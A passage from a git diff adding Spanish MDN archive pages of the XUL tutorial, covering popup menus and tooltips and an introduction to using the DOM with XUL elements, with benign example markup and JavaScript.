+<p>Un elemento emergente se describe usando el elemento <code><a href="/es/XUL/Elementos#menupopup" title="es/XUL/Elementos#menupopup">menupopup</a></code>. No tiene atributos especiales y es un tipo de caja. Cuando es invocado, aparecerá una ventana conteniendo lo que sea que hayas puesto dentro del elemento <code><a href="/es/XUL/Elementos#menupopup" title="es/XUL/Elementos#menupopup">menupopup</a></code>. Sin embargo, deberías poner siempre un atributo <code><a href="/Es/XUL/Atributos#id" title="Es/XUL/Atributos#id">id</a></code> en el menupopup ya que sirve para asociar el elemento emergente con un elemento. Veremos lo que esto significa pronto. Pero primero, un ejemplo:</p>
+
+<pre>&lt;popupset&gt;
+  &lt;menupopup id="clipmenu"&gt;
+    &lt;menuitem label="Cortar"/&gt;
+    &lt;menuitem label="Copiar"/&gt;
+    &lt;menuitem label="Pegar"/&gt;
+  &lt;/menupopup&gt;
+&lt;/popupset&gt;
+</pre>
+
+<p>Como puede verse aquí, se ha creado un menú emergente simple con tres órdenes. El elemento <code><a href="/es/XUL/Elementos#menupopup" title="es/XUL/Elementos#menupopup">menupopup</a></code> contiene los tres elementos del menú <code> <code><a href="../../../../en/XUL/menuitem" rel="custom nofollow">menuitem</a></code></code> . Además, como observarás, el <code><a href="/Es/XUL/Atributos#id" title="Es/XUL/Atributos#id">id</a></code> se ha puesto en el elemento <code>menupopup</code>.</p>
+
+<p>El elemento <code><a href="/es/XUL/Elementos#popupset" title="es/XUL/Elementos#popupset">popupset</a></code> contiene toda la declaración del menú emergente. Este es un contenedor genérico de emergentes y es opcional. Este no aparece en pantalla sino que se usa como un apartado en donde puedes declarar todos tus emergentes. Como su mismo nombre implica (<code><a href="/es/XUL/Elementos#popupset" title="es/XUL/Elementos#popupset">popupset</a></code>), puedes poner múltiples declaraciones de elementos emergentes dentro de éste. Solamente tienes que añadir, detrás del primer elemento <code><a href="/es/XUL/Elementos#popupset" title="es/XUL/Elementos#popupset">popupset</a></code>, todos los que quieras adicionalmente. Puedes tener más de un <code><a href="/es/XUL/Elementos#popupset" title="es/XUL/Elementos#popupset">popupset</a></code> en un archivo, pero lo normal es que tengas únicamente uno.</p>
+
+<h4 id="Asociaci.C3.B3n_de_un_men.C3.BA_emergente_con_un_elemento" name="Asociaci.C3.B3n_de_un_men.C3.BA_emergente_con_un_elemento">Asociar un emergente con un elemento</h4>
+
+<p>Ahora que hemos creado el elemento emergente, es hora de hacer que se muestre. Para hacerlo necesitamos asociar el emergente con un elemento en donde debería aparecer. Hacemos esto porque queremos que el emergente aparezca únicamente cuando el usuario haga clic en una determinada área de la ventana. Habitualmente será un botón o una caja concretos.</p>
+
+<p>Para asociar el emergente con un elemento agrega un atributo de entre tres posibles al elemento. El atributo que agregues dependerá del tipo de emergente que quieras crear. Para un menú emergente simple, agrega un atributo <code><a href="../../../../en/XUL/Attribute/popup" rel="internal">popup</a></code> al elemento. Para un menú emergente de contexto, agrega un atributo <code><a href="../../../../en/XUL/Attribute/context" rel="internal">context</a></code>. Por último, para un emergente de información, agrega un atributo <code><a href="../../../../en/XUL/Attribute/tooltip" rel="internal">tooltip</a></code>.</p>
+
+<p>El valor del atributo debe ser el <code><a href="/Es/XUL/Atributos#id" title="Es/XUL/Atributos#id">id</a></code> del <code>menupopup</code> que quieras que aparezca. Este es el porqué de poner un <code><u><span style="color: #3366ff;">id</span></u></code> en el emergente. De esa manera es fácil tener múltiples menús emergentes en un archivo.</p>
+
+<p>En el ejemplo de arriba, queremos hacer que el emergente sea un menú contextual. Eso significa que necesitamos usar el atributo <code><a href="/Es/XUL/Atributos#context" title="Es/XUL/Atributos#context">context</a></code> y agregarlo al elemento con el cual queremos tener asociado el emergente. El ejemplo de abajo muestra cómo debemos hacer esto:</p>
+
+<p><span id="Ejemplo_1"><a id="Ejemplo_1"></a><strong>Ejemplo 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_1.xul">Ver en funcionamiento</a></p>
+
+<div class="float-right"><img alt="Image:popups-ex1.png" class="internal" src="/@api/deki/files/813/=Popups-ex1.png"></div>
+
+<pre>&lt;popupset&gt;
+  &lt;menupopup id="clipmenu"&gt;
+    &lt;menuitem label="Cortar"/&gt;
+    &lt;menuitem label="Copiar"/&gt;
+    &lt;menuitem label="Pegar"/&gt;
+  &lt;/menupopup&gt;
+&lt;/popupset&gt;
+
+&lt;box context="clipmenu"&gt;
+  &lt;label value="Haz clic con el botón derecho para ver el menú"/&gt;
+&lt;/box&gt;
+</pre>
+
+<p>Aquí, el menú emergente ha sido asociado con una caja. Cada vez que hagas clic contextual (clic con el botón derecho) en cualquier lugar de la caja, aparecerá el menú emergente. El emergente también aparecerá aun si haces clic sobre los descendientes de la caja, así que también funcionará si haces clic en el elemento <code><a href="/es/XUL/Elementos#label" title="es/XUL/Elementos#label">label</a></code>. El atributo <code><a href="/Es/XUL/Atributos#context" title="Es/XUL/Atributos#context">context</a></code> se ha usado para asociar la caja con un menú emergente con el mismo id. En este caso, aparecerá el menú emergente <code>clipmenu</code>. De esta forma, puedes tener varios emergentes y asociar cada uno con diferentes elementos.</p>
+
+<p>Podrías asociar múltiples emergentes con el mismo elemento poniendo más atributos de diferente tipo en un elemento. Podrías además asociar el mismo emergente con múltiples elementos, lo cual es una ventaja de esta sintaxis. Los emergentes solamente pueden asociarse a elementos XUL; no pueden asociarse con elementos HTML.</p>
+
+<h3 id="Herramientas_de_ayuda" name="Herramientas_de_ayuda">Informativos (Tooltips)</h3>
+
+<p>Aquí veremos una forma simple de crear emergentes de información. Hay dos maneras de crearlos. La manera más simple, que es la más común, es agregar un atributo <code><a href="/Es/XUL/Atributos#tooltiptext" title="Es/XUL/Atributos#tooltiptext">tooltiptext</a></code> a un elemento para el que quieres asignar un emergente de información.</p>
+
+<p>El segundo método es usar un elemento <code><a href="/es/XUL/Elementos#tooltip" title="es/XUL/Elementos#tooltip">tooltip</a></code> que tenga el contenido de un emergente de información. Esto requiere que tengas un bloque de contenido separado para cada emergente de información o que tengas un script que establezca el contenido. Sin embargo, esto te permite usar cualquier contenido además de texto en el emergente de información.</p>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;button label="Guardar" tooltiptext="Haz clic aquí para guardar tu trabajo"/&gt;
+
+&lt;popupset&gt;
+  &lt;tooltip id="moretip" orient="vertical" style="background-color: #33DD00;"&gt;
+    &lt;description value="Ver más información"/&gt;
+    &lt;description value="¿De verdad?" style="color: red;"/&gt;
+  &lt;/tooltip&gt;
+&lt;/popupset&gt;
+
+&lt;button label="Más" tooltip="moretip"/&gt;
+</pre>
+
+<p>Estos dos botones tienen un emergente de información cada uno. El primero usa el estilo por defecto. El segundo usa un estilo personalizado que tiene un fondo de diferente color y estilos aplicados al texto. El emergente ha sido asociado al botón Más usando el atributo <code><a href="/Es/XUL/Atributos#tooltip" title="Es/XUL/Atributos#tooltip">tooltip</a></code>, el cual ha sido establecido al correspondiente <code><a href="/Es/XUL/Atributos#id" title="Es/XUL/Atributos#id">id</a></code> del elemento <code><a href="/es/XUL/Elementos#tooltip" title="es/XUL/Elementos#tooltip">tooltip</a></code>. Observa que el elemento <code>tooltip</code> sigue estando ubicado dentro de un elemento <code><a href="/es/XUL/Elementos#popupset" title="es/XUL/Elementos#popupset">popupset</a></code>, como los otros tipos de emergentes.</p>
+
+<h3 id="Definir_donde_aparecer.C3.A1_el_men.C3.BA_emergente" name="Definir_donde_aparecer.C3.A1_el_men.C3.BA_emergente">Alineación del emergente</h3>
+
+<p>Por defecto, las ventanas emergentes y de contexto aparecerán donde esté el puntero del ratón. Los emergentes de información se ubicarán ligeramente por debajo del elemento de tal forma que el puntero del ratón no los oculte. Hay casos sin embargo, en los que vas a querer indicar con mayor detalle dónde debe aparecer el emergente. Por ejemplo, el menú emergente que aparece cuando haces clic en el botón Atrás en un explorador debería aparecer por debajo del botón Atrás y no donde está el puntero del ratón.</p>
+
+<p>Para cambiar la posición del emergente, puedes usar un atributo adicional, <code><a href="/Es/XUL/Atributos#position" title="Es/XUL/Atributos#position">position</a></code>, en el <code><a href="/es/XUL/Elementos#menupopup" title="es/XUL/Elementos#menupopup">menupopup</a></code>. Puedes incluso agregarlo al elemento <code><a href="/es/XUL/Elementos#menupopup" title="es/XUL/Elementos#menupopup">menupopup</a></code>. Este atributo se usa para indicar el lugar del emergente relativo al elemento que lo invoca. Puede establecerse en distintos valores, que se describen brevemente a continuación:</p>
+
+<dl>
+ <dt>after_start</dt>
+ <dd>El emergente aparece debajo del elemento con los bordes izquierdos de éste y la ventana emergente alineados. Si la ventana emergente es más grande que el elemento, se extiende hacia la derecha. Este es el valor usado para los menús colgantes asociados con los botones Atrás y Adelante de los exploradores.</dd>
+</dl>
+
+<dl>
+ <dt>after_end</dt>
+ <dd>El emergente aparece debajo del elemento con los bordes derechos de éste y la ventana emergente alineados.</dd>
+</dl>
+
+<dl>
+ <dt>before_start</dt>
+ <dd>El emergente aparece arriba del elemento con los bordes izquierdos de éste y la ventana emergente alineados.</dd>
+</dl>
+
+<dl>
+ <dt>before_end</dt>
+ <dd>El emergente aparece arriba del elemento con los bordes derechos de éste y la ventana emergente alineados.</dd>
+</dl>
+
+<dl>
+ <dt>end_after</dt>
+ <dd>El emergente aparece a la derecha del elemento con los bordes inferiores de éste y la ventana emergente alineados.</dd>
+</dl>
+
+<dl>
+ <dt>end_before</dt>
+ <dd>El emergente aparece a la derecha del elemento con los bordes superiores de éste y la ventana emergente alineados.</dd>
+</dl>
+
+<dl>
+ <dt>start_after</dt>
+ <dd>El emergente aparece a la izquierda del elemento con los bordes inferiores de éste y la ventana emergente alineados.</dd>
+</dl>
+
+<dl>
+ <dt>start_before</dt>
+ <dd>El emergente aparece a la izquierda del elemento con los bordes superiores de éste y la ventana emergente alineados.</dd>
+</dl>
+
+<dl>
+ <dt>overlap</dt>
+ <dd>El emergente aparece encima del elemento.</dd>
+</dl>
+
+<dl>
+ <dt>at_pointer</dt>
+ <dd>El emergente aparece en la posición del puntero del ratón.</dd>
+</dl>
+
+<dl>
+ <dt>after_pointer</dt>
+ <dd>El emergente aparece en la misma posición horizontal del puntero del ratón pero debajo del elemento. Así es como aparecen los emergentes de información.</dd>
+</dl>
+
+<p>Al agregar el atributo <code>position</code> al elemento emergente, puedes especificar con precisión dónde aparece el emergente. No puedes especificar la posición exacta de un píxel. El atributo <code>position</code> puede usarse con los tres tipos de emergentes, aunque probablemente no cambiarás el valor de un emergente de información. El ejemplo de abajo demuestra cómo crear un botón Atrás con un menú emergente:</p>
+
+<p><strong>Ejemplo 3</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_3.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;popupset&gt;
+  &lt;menupopup id="backpopup" position="after_start"&gt;
+    &lt;menuitem label="Página 1"/&gt;
+    &lt;menuitem label="Página 2"/&gt;
+  &lt;/menupopup&gt;
+&lt;/popupset&gt;
+
+&lt;button label="Hazme aparecer" popup="backpopup"/&gt;
+</pre>
+
+<h3 id="Ejemplo_de_archivo_de_b.C3.BAsqueda" name="Ejemplo_de_archivo_de_b.C3.BAsqueda">Nuestro ejemplo con un buscador de archivos</h3>
+
+<p>Agreguemos un menú emergente simple al dialogo de búsqueda de archivos. Por simplicidad, solo repetiremos los contenidos del menú Editar. Hagamos que el emergente aparezca cuando se haga clic sobre la primera pestaña del panel:</p>
+
+<pre class="eval"><span class="highlightred">&lt;popupset&gt;
+  &lt;menupopup id="editpopup"&gt;
+    &lt;menuitem label="Cortar" accesskey="t"/&gt;
+    &lt;menuitem label="Copiar" accesskey="c"/&gt;
+    &lt;menuitem label="Pegar" accesskey="p" disabled="true"/&gt;
+  &lt;/menupopup&gt;
+&lt;/popupset&gt;</span>
+
+&lt;vbox flex="1"&gt;
+.
+.
+.
+
+<span class="highlightred">&lt;tabpanel id="searchpanel" orient="vertical" context="editpopup"&gt;</span>
+</pre>
+
+<p>Aquí se ha agregado un emergente simple similar al del menú Editar. Si haces clic derecho (Control-clic en Macintosh) en cualquier lugar del primer panel, aparecerá el emergente. Sin embargo, el emergente no aparecerá si haces clic en otro lugar. Observa que la caja de texto tiene su propio contenido para el menú emergente, el cual prevalecerá sobre el especificado por nosotros.</p>
+
+<p>Otro ejemplo : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-popups.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-popups.xul">Ver en funcionamiento</a></p>
+
+<p><br>
+ A continuación seguiremos con la <a href="/es/Tutorial_de_XUL/Menús_con_desplazamiento" title="es/Tutorial de XUL/Menús con desplazamiento">creación de menús con desplazamiento</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Más_funciones_de_menú" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Menús_con_desplazamiento">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/modelo_de_objeto_de_documento/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/modelo_de_objeto_de_documento/index.html
new file mode 100644
index 0000000000..231555c72a
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/modelo_de_objeto_de_documento/index.html
@@ -0,0 +1,230 @@
+---
+title: Modelo de objeto de documento
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Modelo_de_objeto_de_documento
+tags:
+  - DOM
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Document_Object_Model
+---
+<p> </p>
+
+<p>El modelo de objeto de documento (DOM) can be used with XUL elements to get information about them or modify them.</p>
+
+<h3 id="Introducci.C3.B3n_al_.27DOM.27" name="Introducci.C3.B3n_al_.27DOM.27">Introducción al 'DOM'</h3>
+
+<p>El <a href="es/DOM">modelo de objeto de documento</a> (DOM) es usado para almacenar el árbol de los nodos XUL. Cuando un archivo XUL es cargado, las etiquetas son analizadas y convertidas en un documento con estructura jerárquica de nodos, uno por cada etiqueta y bloque te texto. La estructura DOM puede ser examinada y modificada usando varios métodos con esta finalidad. Los elementos XUL específicos también proporcionan funciones adicionales que pueden ser usadas.</p>
+
+<p>Cada archivo XUL que es cargado tendrá su propio documento visualizado en una ventana o marco. A pesar que hay solo un documento asociado con una ventana en cada momento, se puede carga documentos adicionales usando varios métodos.</p>
+
+<p>En Mozilla, el <a href="es/DOM">DOM</a> puede ser accedido y manipulado utilizando <a href="es/JavaScript">JavaScript</a>. Los diversos objetos DOM tienen funciones las cuales pueden ser llamadas por script. Sin embargo, es importante advertir que la DOM es un API que es accesible por JavaScript. JavaScript por sí mismo , es exactamente un lenguaje de scripting que permite el acceso a dichos objetos porque Mozilla dispone esos objetos para su uso.</p>
+
+<p>En <a href="es/JavaScript">JavaScript</a>, siempre hay un único objeto global que está siempre disponible. Se puede hacer referencia a sus propiedades y métodos. Por ejemplo, si un objeto global tiene como propiedad 'name', se puede cambiar el nombre (name) con el código 'name = 7', sin haber especificado objeto alguno. En el contexto de un browser, la es ventana es un objeto global y asimismo es cierto para XUL. Naturalmente, este objeto global sera diferente para cada ventana. Cada marco tendrá también un objeto ventana separado.</p>
+
+<p>La ventana es a menudo referida usando la <a href="es/DOM/window#window.window">propiedad de window</a>, a pesar de que es optativo. En ocasiones, esto se hace simplemente para clarificar el alcance del método al que hace referencia. Por ejemplo, en el siguiente fragmento de código, las dos líneas son equivalentes.</p>
+
+<pre>window.open("test.xul","_new");
+open("test.xul","_new");
+</pre>
+
+<p>Cuando se declara una función o una variable en el nivel más alto de un script, es decir desde otra función, se está de hecho declarando una propiedad del objeto global. En XUL, cada función declarada será definida como propiedad del objeteo window. Por ejemplo, en el siguiente código se visualizará el texto 'Message' en una <a href="es/DOM/window#window.alert">alerta</a> doble.</p>
+
+<pre>function getText(){
+  return "Message";
+}
+
+alert(getText());
+alert(window.getText());
+</pre>
+
+<p>De esta manera, si se desea acceder a variables o llamar a funciones declaradas en un script usado por otra ventana, solo se necesita acceder usando el objeto <code><a href="es/DOM/window">window</a></code> de la otra ventana. Por ejemplo, si se combina los dos últimos ejemplos en un único archivo, podríamos querer llamar a la función getText() desde la otra ventana (por ejemplo la ventana 'test.xul'). Para hacerlo, se puede utilizar lo siguiente:</p>
+
+<pre>alert(window.opener.getText());
+</pre>
+
+<p>Cada ventana tiene un <code><a href="es/DOM/window#window.opener">opener</a></code> property que mantiene a dicho objeto ventana abierto. En este ejemplo, se recupera el opener window y llamamos a la función getText() declarada en el script. Observar que se ha explicitado la propiedad con el identificador 'window' para clarificarlo.</p>
+
+<p>El método de la apertura de la ventana (window's <code><a href="es/DOM/window#window.open">open()</a></code>)también devuelve una referencia a la nueva ventana, por lo que puede llamar a funciones de la nueva ventana desde el <code><a href="es/DOM/window#window.opener">opener</a></code>. Es importante advertir, que sin embargo, el método <code><a href="es/DOM/window#window.open">open()</a></code> lo devuelve antes de que la ventana haya sido complemetamente cargada, por lo que no estarán disponibles todavía funciones.</p>
+
+<p>EL objeto ventana no está definido por ninguna especificación DOM, pero Mozilla en ocasiones lo considera parte del <a>DOM Level 0</a>, un nombre es usado por varios desarrolladores para referirse a este tipo de funciones antes que se hubieran añadido especificaciones. El documento actual visualizado en una ventana puede ser recuperado usando la propiedad del <code><a href="es/DOM/window#window.document">documento</a></code> de la ventana. Desde que esto es uno de los más propiedades referenciadas de una ventana, la propiedad <code><a href="es/DOM/window#window.document">documento</a></code> property es utilizado sin la partícula 'window.' .</p>
+
+<p>Mozilla provee varios objetos documento diferentes dependiendo del tipo de documento. Hay tres documentos principales <a class="external" href="http://www.xulplanet.com/references/objref/HTMLDocument.html">HTMLDocument</a>, <a class="external" href="http://www.xulplanet.com/references/objref/XMLDocument.html">XMLDocument</a>, y <a class="external" href="http://www.xulplanet.com/references/objref/XULDocument.html">XULDocument</a>, para documentos <a href="es/HTML">HTML</a>, <a href="es/XML">XML</a> y <a href="es/XUL">XUL</a> respectivamente. Obviamente, esto es uno de los últimos tipos de documento usados por XUL. Los tres tipos de documentos son muy parecidos, de hecho comparten la misma implementación básica. Sun embargo, hay algunas funciones especificadads para cada tipo de documento.</p>
+
+<h3 id="Recuperaci.C3.B3n_de_elementos" name="Recuperaci.C3.B3n_de_elementos">Recuperación de elementos</h3>
+
+<p>El método más común para recuperar un elemento en un documento es dar al elemento un atributo con el <code><a href="es/DOM/element#element.id">id</a></code> y el uso del documento <code><a href="es/DOM/document#document.getElementById">getElementById()</a></code>. Hemos añadido el atributo id a una serie de elementos a encontrar el archivo de diálogo. Por ejemplo, podríamos obtener el estado de una casilla de verificación mediante el código que aparece a continuación:</p>
+
+<pre>var state = document.getElementById('casecheck').checked;
+</pre>
+
+<p>El valor <code>casecheck</code> corresponde al <code>id</code> del <a href="es/Tutorial_de_XUL/Controles_de_entrada#Casillas_de_selecci.C3.B3n_y_botones">checkbox</a> (que es case sensitive: distingue entre mayúsculas y minúsculas) . Una vez que tenemos una indicación de si está marcada o no, podemos utilizar el estado para llevar a cabo la búsqueda. Podríamos hacer algo similar para las otras casillas de verificación, o cualquier otro elemento que tiene un id. Se necesita para obtener el texto en el campo de entrada, por ejemplo.</p>
+
+<div class="highlight">
+<h4 id="Nuestro_ejemplo" name="Nuestro_ejemplo">Nuestro ejemplo</h4>
+
+<p>No tiene sentido tener la <a href="es/Tutorial_de_XUL/Indicadores_de_progreso">barra de progreso</a> y el <a href="es/Tutorial_de_XUL/%c3%81rboles">árbol de dato</a> de pruebas desplegado cuando el dialogo de búsqueda de archivos se visualiza primero. Estos se agregaron a fin de que pudiéramos verlos. Dejémoslo fuera y aparecerá sólo cuando se presione el botón Buscar. En primer lugar, tenemos que hacerlos inicialmente invisible. El atributo <code><a href="es/XUL/Atributos#hidden">hidden</a></code>, se utiliza para controlar si un elemento es visible o no.</p>
+
+<p>Vamos a cambiar la medida del progreso a fin de que esté inicialmente oculta. Además, vamos a añadir un atributo <code><a href="es/XUL/Atributos#id">id</a></code> de manera que podemos referirnos a ella en una secuencia de comandos para mostrar y ocultar. Si bien estamos en ello, también vamos a ocultar los <a href="es/Tutorial_de_XUL/Divisores">divisores</a> y el árbol de resultados que solo se necesitarán después de que la búsqueda se haya realizado.</p>
+
+<pre class="eval">&lt;tree <span class="highlightred">id="results" hidden="true"</span> flex="1"&gt;
+  .
+  .
+  .
+&lt;splitter <span class="highlightred">id="splitbar"</span> resizeafter="grow" <span class="highlightred">hidden="true"</span>/&gt;
+
+&lt;hbox&gt;
+
+  &lt;progressmeter <span class="highlightred">id="progmeter"</span> value="50%"
+    style="margin: 4px;" <span class="highlightred">hidden="true"</span>/&gt;
+</pre>
+
+<p>Hemos agregado el atributo <code><a href="es/XUL/Atributos#hidden">hidden</a></code> y fijado el valor <code>true</code>. Esto hace que el elemento se oculte cuando aparece por primera vez.</p>
+
+<p>A continuación, vamos a añadir una función que se llama cuando el botón Buscar se presiona. Vamos a poner el scripts en un archivo separado llamado findfile.js. En la <a href="es/Tutorial_de_XUL/A%c3%b1adiendo_los_gestores_de_eventos">sección anterior</a>, añadimos el elemento <code><a href="es/XUL/Elementos#script">script</a></code> en el archivo XUL. Si no lo ha hecho, hagalo ahora, como se indica a continuación. Un controlador <code><a href="es/XUL/Atributos#oncommand">oncommand</a></code> también se añadirá al botón Buscar.</p>
+
+<pre class="eval">&lt;script src="findfile.js"/&gt;
+  .
+  .
+  .
+&lt;button id="find-button" label="Find"
+   <span class="highlightred">oncommand="doFind();"</span>/&gt;
+</pre>
+
+<p>Ahora, crearemos otro archivo llamado findfile.js en el mismo directorio que findfile.xul. Vamos a añadir la función doFind() en este archivo. La etiqueta script permite código que pueda figurar directamente dentro de ella. Sin embargo, por diversas razones, entre ellas un mejor rendimiento, siempre se deben poner scripts en archivos separados, con excepción de breves fragmentos que pueden ponerse directamente en el controlador de eventos.</p>
+
+<pre class="eval">function doFind(){
+  var meter = document.getElementById('progmeter');
+  meter.hidden = false;
+}
+</pre>
+
+<p>Esta función primero obtiene una referencia del medidor de progreso utilizando su identificador, <code>progmeter</code>. La segunda línea del cuerpo de la función cambia el estado oculto de modo que el elemento es visible de nuevo.</p>
+
+<p>Por último, vamos a tener un cuadro de alerta pop-up que muestra lo que será buscado. Por supuesto, no queremos que esté en la versión final, pero vamos a añadirlo para asegurarnos que algo pasará.</p>
+
+<pre class="eval">function doFind(){
+  var meter=document.getElementById('progmeter');
+  meter.hidden = false;
+  <span class="highlightred">var searchtext=document.getElementById('find-text').value;
+  alert("Searching for \"" + searchtext + "\"");</span>
+}
+</pre>
+
+<p>Ahora, con ese cuadro de alerta ahí, sabemos lo que debería suceder cuando haga clic en el botón Buscar. Podríamos añadir código adicional para obtener la selección de los cuadros desplegables.</p>
+</div>
+
+<h3 id="XUL_Element_DOM" name="XUL_Element_DOM">XUL Element DOM</h3>
+
+<p>Every XUL element has a set of attributes, a set of properties and a set of children.</p>
+
+<ul>
+ <li>The attributes are declared in the source, for example, flex="1", is a <code><a href="es/XUL/Atributos#flex">flex</a></code> attribute set to the value <code>1</code>.</li>
+ <li>Properties are available in JavaScript using the dot syntax. For example, element.hidden refers to the hidden property of an element.</li>
+ <li>The children are the child tags of the element and will be nested inside the element in the source.</li>
+</ul>
+
+<p>It is possible to manipulate the attributes, properties and children of an element dynamically using DOM methods.</p>
+
+<p>It is important to note that attributes and properties are separate things. Just because there is an attribute with a given name does not mean that there is a corresponding property with the same name. However, it will often be the case that such a property will exist. For example, to get the flex of an element, you can use the flex property. In this case, the underlying code just returns the value of the attribute. For other properties, XUL will perform more complex calculations.</p>
+
+<p>You can manipulate the attributes of an element using any of the following methods:</p>
+
+<dl>
+ <dt><a href="es/DOM/element#element.getAttribute">getAttribute</a> ( nombre )</dt>
+ <dd>Return the value of the attribute with the given name.</dd>
+ <dt><a href="es/DOM/element#element.hasAttribute">hasAttribute</a> ( nombre )</dt>
+ <dd>Return true if the attribute with the given name has a value.</dd>
+ <dt><a href="es/DOM/element#element.setAttribute">setAttribute</a> ( nombre , valor )</dt>
+ <dd>Set the value of the attribute with the given name to the given value.</dd>
+ <dt><a href="es/DOM/element#element.removeAttribute">removeAttribute</a> ( nombre )</dt>
+ <dd>Remove the attribute with the given name.</dd>
+</dl>
+
+<p>These functions allow you to get and change the value of an attribute at any time. For example, to use the value of the flex attribute, you might use code like the following:</p>
+
+<pre> var box = document.getElementById('somebox');
+ var flex = box.getAttribute("flex");
+
+ var box2 = document.getElementById('anotherbox');
+ box2.setAttribute("flex", "2");
+</pre>
+
+<p>However, the <code><a href="es/XUL/Atributos#flex">flex</a></code> attribute has a <a href="es/XUL/Propiedades#flex">corresponding script property</a> which can be used instead. It isn't any more efficient, but it does mean slightly less typing. The following example accomplishes the same as above using the flex property instead.</p>
+
+<pre> var box = document.getElementById('somebox');
+ var flex = box.flex;
+
+ var box2 = document.getElementById('anotherbox');
+ box2.flex = 2;
+</pre>
+
+<p>Once you have a reference to an element, you can call the properties of that element. For example, to get the <code><a href="es/XUL/Propiedades#hidden">hidden</a></code> property for an element, you can use the syntax <code><em>element</em>.hidden</code> where 'element' is a reference to the element. You might note that most of the properties listed in the reference correlate to common attributes on elements. There are differences, of course, for example, while <strong><font color="green">getAttribute("hidden") will return the string 'true'</font></strong> for a hidden element, whereas the hidden <strong><font color="green">property returns a boolean true value</font></strong>. In this case, the type conversion is done for you so the property is more convenient.</p>
+
+<p>As with each document, there is a different element object for XUL elements as for <a href="es/HTML">HTML</a> and <a href="es/XML">XML</a> elements. Every XUL element implements the <a class="external" href="http://www.xulplanet.com/references/objref/XULElement.html">XULElement</a> interface. A XUL element is any element declared with the XUL namespace. So, XUL elements will have that interface even if added to other XML documents, and non-XUL elements will not have that interface. The XULElement interface has a number of properties and methods specific to XUL elements, many inherited from the generic DOM Element interface.</p>
+
+<p>A namespace is a URI which specifies the kind of element. Here are some examples:</p>
+
+<pre>&lt;button xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"/&gt;
+&lt;button xmlns="http://www.w3.org/1999/xhtml"/&gt;
+&lt;html:button xmlns:html="http://www.w3.org/1999/xhtml"/&gt;
+&lt;html:button xmlns:html="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"/&gt;
+</pre>
+
+<p>Namespaces are specified using the <code>xmlns</code> attribute.</p>
+
+<ul>
+ <li>The first button is a XUL element as it has been placed in the XUL namespace.</li>
+ <li>The second element is an XHTML element as it has been given the XHTML namespace.</li>
+ <li>In the third example, the prefix 'html' is mapped to the namespace <span class="nowiki">'http://www.w3.org/1999/xhtml'</span>. You can also use the prefix syntax with a colon to use a specific namespace . This is used when you are using several namespaces in a document and you need to be more precise with which namespace is meant. This causes an XHTML button to be created for this case.</li>
+ <li>The fourth button is a little confusing, but might clarify that it is the URI that is important and not the prefix. The fourth example is a XUL button, not an HTML button, despite what the prefix might say.</li>
+</ul>
+
+<p>This is an important distinction. In fact, the actual text used for the prefix is irrelevant when determining what kind of element is used.</p>
+
+<p>The DOM provides a number of namespace related functions similar to the non-namespace ones. For example, the <code><a href="es/DOM/element#element.getAttributeNS">getAttributeNS()</a></code> function is similar to the the <code><a href="es/DOM/element#element.getAttribute">getAttribute()</a></code> function except an additional argument may be supplied to specify an attribute in a specific namespace.</p>
+
+<p>Many XUL elements have their own properties that are unique to that element. Refer to the <a href="es/XUL/Referencias">elemento reference</a> for a full guide to the attributes and properties available for an element.</p>
+
+<h3 id="Navegaci.C3.B3n_en_el_DOM" name="Navegaci.C3.B3n_en_el_DOM">Navegación en el DOM</h3>
+
+<p>The DOM is a tree structure with a single root node with children. You can get a reference to the root node using the document's <code><a href="es/DOM/document#document.documentElement">documentElement</a></code> property. The root node is always an element, but this is not the case for other nodes in the tree. An element corresponds to a tag is the XUL source, but you may also find text nodes, comment nodes and a few other types in a document tree. In the case of XUL, the root element will be the <code><a href="es/XUL/Elementos">window</a></code> tag in the XUL document. Each node in the tree may have children and those children may have child nodes of their own. Since the DOM is a tree structure, you can navigate through the tree using a variety of properties. Some common properties are listed below:</p>
+
+<dl>
+ <dt><a href="es/DOM/element#element.firstChild">firstChild</a> </dt>
+ <dd>reference to the first child node of an element</dd>
+ <dt><a href="es/DOM/element#element.lastChild">lastChild</a></dt>
+ <dd>reference to the last child node of an element</dd>
+ <dt><a href="es/DOM/element#element.childNodes">childNodes</a></dt>
+ <dd>holds a list of the children of an element</dd>
+ <dt><a href="es/DOM/element#element.parentNode">parentNode</a></dt>
+ <dd>reference to the parent of an node</dd>
+ <dt><a href="es/DOM/element#element.nextSibling">nextSibling</a></dt>
+ <dd>reference to the next sibling in sequence</dd>
+ <dt><a href="es/DOM/element#element.previousSibling">previousSibling</a></dt>
+ <dd>reference to the previous sibling in sequence</dd>
+</dl>
+
+<p>These properties allow you to navigate through a document is various ways. For example, you might get the first child of an element using the <code><a href="es/DOM/element#element.firstChild">firstChild</a></code> property and then navigate through the children using the <code><a href="es/DOM/element#element.nextSibling">nextSibling</a></code> property. Or, you might accomplish the same thing by iterating through the items in the <code><a href="es/DOM/element#element.childNodes">childNodes</a></code> list. In Mozilla, the latter method is more efficient.</p>
+
+<p>The following example shows how to iterate over the children of the root node:</p>
+
+<pre>var childNodes = document.documentElement.childNodes;
+for (var i = 0; i &lt; childNodes.length; i++) {
+  var child = childNodes[i];
+  // do something with child
+}
